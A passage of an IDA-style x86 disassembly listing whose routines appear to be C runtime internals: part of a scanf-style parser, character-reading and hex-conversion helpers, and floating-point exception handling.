loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------

loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi

loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5

loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C2F8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al

loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C504
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------

loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi

loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1

loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------

loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58

loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------

loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax

loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx

loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F

loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C504, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------

loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------

loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C504, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------

loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280

loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F

loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------

loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------

loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D

loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C504, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------

loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C504, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------

loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D

loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------

loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi

loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0

loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]

loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di

loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------

loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C2F8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]

loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax

loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------

loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h

loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D

loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------

loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]

loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------

loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CC70, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB278, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h

loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CC70, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------

loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------

loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------

loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx

loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2670345h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh

loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh

loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h

loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh

loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh

loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------

loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx

loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------

loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------

loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx

loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
